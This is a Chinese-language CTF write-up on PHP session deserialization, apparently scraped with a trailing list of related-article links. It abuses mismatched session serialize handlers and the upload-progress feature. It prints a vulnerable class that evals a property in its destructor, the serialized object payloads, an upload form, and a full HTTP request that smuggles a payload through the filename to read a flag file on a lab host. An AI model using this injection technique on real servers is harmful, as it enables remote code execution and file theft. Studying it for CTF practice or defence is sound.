PHP反序列化与SESSION
- php存储session的三种模式
php_serialize(php=>5.5.4) |
经过serialize()函数序列化数组 |
php |
键名+竖线+经过seralize()序列处理的值 |
php_biary |
键名的长度对应ASCII字符+键名+serialize()序列化的值 |
测试代码
<?php
//ini_set("session.serialize_handler", "php");
//ini_set("session.serialize_handler", "php_serialize");
ini_set("session.serialize_handler", "php_binary");
session_start();
$_SESSION['moonsec'] = $_GET['moonsec'];
序列化存储格式
php
moonsec|s:3:"123";
php_serialize
a:1:{s:7:"moonsec";s:3:"123";}
php_binary
<0x07>moonsecs:3:"123";
2.CTF题目
<?php
ini_set('session.serialize_handler', 'php');
session_start();
class CTF
{public $mdzz;function __construct(){$this->mdzz = 'phpinfo();';}function __destruct(){eval($this->mdzz);}
}
if(isset($_GET['phpinfo']))
{$m = new CTF();
}
else
{highlight_string(file_get_contents('index.php'));
}?>
条件
- session.serialize_handler php 局部变量 php_serialize 主变量
- session.upload_progress.cleanup 默认开启 现关闭
- session.upload_progress.enabled 默认开启
php bug
PHP :: Doc Bug #71101 :: serialize_handler must not be switched for existing sessions
session.upload_progress.enabled On
session.upload_progress.enabled本身作用不大,是用来检测一个文件上传的进度。但当一个文件上传时,同时POST一个与php.ini中session.upload_progress.name同名的变量时(session.upload_progress.name的变量值默认为PHP_SESSION_UPLOAD_PROGRESS),PHP检测到这种同名请求会在$_SESSION中添加一条数据。由此来设置session
序列化
<?php
class CTF
{public $mdzz;function __construct(){$this->mdzz = 'print_r(scandir(dirname(__FILE__)));';}function __destruct(){eval($this->mdzz);}
}$m = new CTF();
echo serialize($m);
?>
O:3:"CTF":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
上传表单
<html>
<head> <title>upload</title>
</head>
<body>
<form action="http://www.test1.com/ctf/demo3/index.php" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="1" /> <input type="file" name="file" /> <input type="submit" />
</form>
</body>
</html>
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:36:\"print_r(scandir(dirname(__FILE__)));\";}
读flag
O:3:"CTF":1:{s:4:"mdzz";s:83:"print_r(file_get_contents("D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php"));";
|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";
POST /ctf/demo3/index.php HTTP/1.1
Host: www.test1.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------11171372103466141198728743662
Content-Length: 39314
Origin: http://www.test1.com
Connection: close
Referer: http://www.test1.com/ctf/demo3/upload.html
Cookie: PHPSESSID=p13eoiiiq3rp69k85an1d2idbu
Upgrade-Insecure-Requests: 1
-----------------------------11171372103466141198728743662
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
1
-----------------------------11171372103466141198728743662
Content-Disposition: form-data; name="file"; filename="|O:3:\"CTF\":1:{s:4:\"mdzz\";s:83:\"print_r(file_get_contents(\"D:/phpstudy_pro/WWW/www.test1.com/ctf/demo3/flag.php\"));\";}
Content-Type: image/png
PHP反序列化与SESSION相关推荐
- PHP之序列化与反序列化(session反序列化篇)
只要接触多一点web方向的话无论是在做题还是在抓包都会碰到一个词-----session,无论你见过也好听过也罢,你是否真的知道session是什么? 初识session 简单直白一点session就 ...
- php session 反序列化,PHP SESSION反序列化本地样例分析
PHP SESSION反序列化本地样例分析 0X00漏洞原因 主要原因是: ini_set('session.serialize_handler', 'php_serialize'); ini_set ...
- php session 反序列化
php_session 反序列化 php 存储session的三种模式 php_serialize 经过serialize()函数序列化数组 php 键名+|+经过serialize()序列化处理后的 ...
- PHP session反序列化漏洞
PHP session反序列化漏洞 PHP session反序列化漏洞,就是当[序列化存储Session数据]与[反序列化读取Session数据]的方式不同导致session反序列化漏洞的产生 什么是 ...
- 在SpringBoot中使用Spring Session解决分布式会话共享问题
在SpringBoot中使用Spring Session解决分布式会话共享问题 问题描述: 每次当重启服务器时,都会导致会员平台中已登录的用户掉线.这是因为每个用户的会话信息及状态都是由session ...
- web中session与序列化的问题
版权声明:尊重博主原创文章,转载请注明出处哦~http://blog.csdn.net/eson_15/article/details/51423300 最近在写网上商城项目的时候学习了一个关于ses ...
- session实现机制_如何理解php session运行机制
php session运行机制就是客户端将session id传入到服务器中,服务器再根据session id找到对应的文件并将其反序列化得到session值,然后保存的时候先序列化再写入今天将要分享 ...
- ctf php沙箱,详谈CTF中常出现的PHP反序列化漏洞
0x01什么是PHP序列化与反序列化 PHP序列化是一种把变量或对象以字符串形式转化以方便储存和传输的方法 在PHP中,序列化用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构. 比方来说, ...
- php initlize,PHP 反序列化漏洞入门学习笔记
参考文章: 序列化和反序列化的概念 序列化就是将 对象.string.数组array.变量 转换成具有一定格式的字符串. 具体可以看 CTF PHP反序列化,下图摘自此篇文章 其实每个字符对应的含义都 ...
最新文章
- iOS中定时器NSTimer的开启与关闭
- LeetCode(9.回文数)JAVA
- mysql日常错误信息解决方法:InnoDB: and force InnoDB to continue crash recovery here.
- linux安装redis教程yum,linux下yum安装redis以及使用
- Css3从IE6-IE9的支持查看
- PHP实现四种基本排序算法
- 程序猿生存指南-38 枯木逢春
- linux之errno值为104(connetction reset by peer)
- pytorch中的expand()和expand_as()函数--扩展张量中某维数据的尺寸
- 入侵检测系统的性能的辨别(3)
- akka balance router的实现
- java编译时注解_简单介绍 Java 中的编译时注解
- 快速计算Distinct Count
- 【编辑器】Vim学习笔记
- (油菜花)为什么别的项目中的category拖到自己项目中无法使用?
- 资料汇总更新|FPGA软件安装包、书籍、源码、技术文档…(2021.01.04更新)
- 华为OD机试 - 乱序整数序列两数之和绝对值最小
- 注释工具一键添加佛祖保佑永无BUG、神兽护体等注释图案
- Windows 远程桌面连接方法及远程桌面控制软件推荐
- weex中UISegmentControl实现及遇到的问题